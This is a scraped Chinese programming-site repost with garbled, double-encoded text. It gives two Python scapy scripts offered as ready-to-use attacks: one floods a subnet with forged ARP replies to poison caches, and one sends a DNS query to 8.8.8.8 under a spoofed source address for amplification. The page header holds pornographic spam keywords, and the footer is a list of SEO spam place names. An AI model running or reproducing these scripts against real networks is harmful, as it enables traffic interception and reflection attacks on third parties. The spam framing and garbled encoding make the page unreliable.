国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 編程 > Python > 正文

Python中使用scapy模擬數(shù)據(jù)包實(shí)現(xiàn)arp攻擊、dns放大攻擊例子

2019-11-25 18:07:45
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友

scapy是python寫的一個(gè)功能強(qiáng)大的交互式數(shù)據(jù)包處理程序,可用來(lái)發(fā)送、嗅探、解析和偽造網(wǎng)絡(luò)數(shù)據(jù)包,常常被用到網(wǎng)絡(luò)攻擊和測(cè)試中。

這里就直接用python的scapy搞。

這里是arp的攻擊方式,你可以做成arp攻擊。

復(fù)制代碼 代碼如下:

#!/usr/bin/python
"""
ARP attack
"""
import sys, os
from scapy.all import *
if os.geteuid() != 0:
    print "This program must be run as root. Aborting."
    sys.exit()

if len(sys.argv) < 2:
    print "Pkease Use %s x.x.x" % (sys.argv[0])
    exit()
attackIP = sys.argv[1] + ".0/24"
srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻擊

復(fù)制代碼 代碼如下:

#coding:utf-8
from scapy import *
from scapy.all import *

a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 為偽造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)
~

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 双鸭山市| 三明市| 张家界市| 桂平市| 峡江县| 方山县| 托克托县| 民乐县| 万安县| 阜新市| 海盐县| 巴里| 航空| 永年县| 宁津县| 宿迁市| 土默特右旗| 奉化市| 郓城县| 呼图壁县| 罗甸县| 石台县| 沙雅县| 亳州市| 崇信县| 阿拉尔市| 泰州市| 宜章县| 香港| 塔河县| 石林| 景泰县| 长治市| 仙游县| 高台县| 霸州市| 万安县| 双城市| 青冈县| 新密市| 普陀区|